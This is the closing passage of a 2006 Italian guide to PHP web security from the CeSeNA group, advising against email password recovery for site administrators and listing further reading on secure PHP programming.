Un’ultima considerazione riguarda il cosiddetto “smarrimento di password”. Si permette di
solito di ricevere via mail la password dimenticata o una nuova password. Questa possibilità deve
essere assolutamente negata agli amministratori: infatti la mail degli amministratori è visibile, e in
caso di password debole di quest’ultima un intruso potrebbe richiedere dal sito l’invio di una nuova
password, entrare nella casella di posta dell’admin e quindi ottenere ciò che serve per entrare
nell’amministrazione del sito.
Copyright 2006 © CeSeNA , Stefano Bianchini 19
- 20. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
9. Conclusioni
Approfitto di questo capitolo finale per dare alcuni link a siti che trattano l’argomento:
• http://phpsec.org/ : PHP Security Consortium
Fondato nel gennaio 2005, questo consorzio si occupa di promuovere la programmazione
sicura all’interno della comunità dei programmatori Php.
• http://phpsec.org/projects/guide/ :
Una guida redatta dal Php Security Consortium, in inglese. Disponibile una versione
scaricabile in formato pdf all’indirizzo http://shiflett.org/php-security.pdf.
• http://www.developer.com/lang/article.php/918141 : On the Security of PHP
Un articolo suddiviso in due parti che tratta la sicurezza nella programmazione Php (in
inglese).
• http://www.phpsecure.info/v2/.php : phpSecure.info
Una comunità francese sull’argomento; è disponibile anche la lingua inglese.
• http://www.php.net/manual/it/security.php : Php Security - Manual
Dai creatori del linguaggio, alcuni consigli sulla sicurezza (sempre in inglese, non ancora
tradotta al momento della stesura di questo articolo).
• http://www.webkreator.com/php/configuration/php-session-security.html :
Php Session Security
• http://www.securephpwiki.com/index.php/Main_Page : SecurePhp Wiki
Un wiki sull’argomento.
• http://www.securereality.com.au/studyinscarlet.txt : A Study In Scarlet
Exploiting Common Vulnerabilities in PHP Applications
• http://www.sklar.com/page/article/owasp-top-ten
Php Top Ten Security Vulnerabilities
Per nuove revisioni di questo documento, invito a controllare periodicamente:
• http://cesena.ing2.unibo.it : CeSeNA Security, Network & Application
Stefano Bianchini
stefano.bianchini2@studio.unibo.it
Copyright 2006 © CeSeNA , Stefano Bianchini 20